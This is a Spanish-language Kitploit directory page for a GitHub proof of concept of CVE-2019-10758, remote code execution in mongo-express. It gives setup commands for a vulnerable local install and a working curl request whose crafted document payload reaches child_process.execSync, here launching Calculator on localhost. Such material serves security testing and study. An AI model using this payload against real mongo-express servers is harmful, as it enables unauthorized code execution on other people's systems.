Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-10758 — Prueba de concepto del exploit para CVE-2019-10758, que demuestra ejecución remota de código en mongo-express mediante inyección de documentos manipulados. Incluye cargas útiles basadas en curl y scripts. | Kitploit
Herramientas/GitHubGitHub/masahiro331/cve-2019-10758
Generación de PayloadsAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubmasahiro331/cve-2019-10758

CVE-2019-10758

Prueba de concepto del exploit para CVE-2019-10758, que demuestra ejecución remota de código en mongo-express mediante inyección de documentos manipulados. Incluye cargas útiles basadas en curl y scripts.

Ver Repositorio
1112116hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-10758 PoC

Configuración

docker run -p 27017:27017 -d mongo
npm install [email protected] 
cd node_modules/mongo-express/ && node app.js

Exploit con cURL

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

Exploit con script

node main.js
Descargar herramienta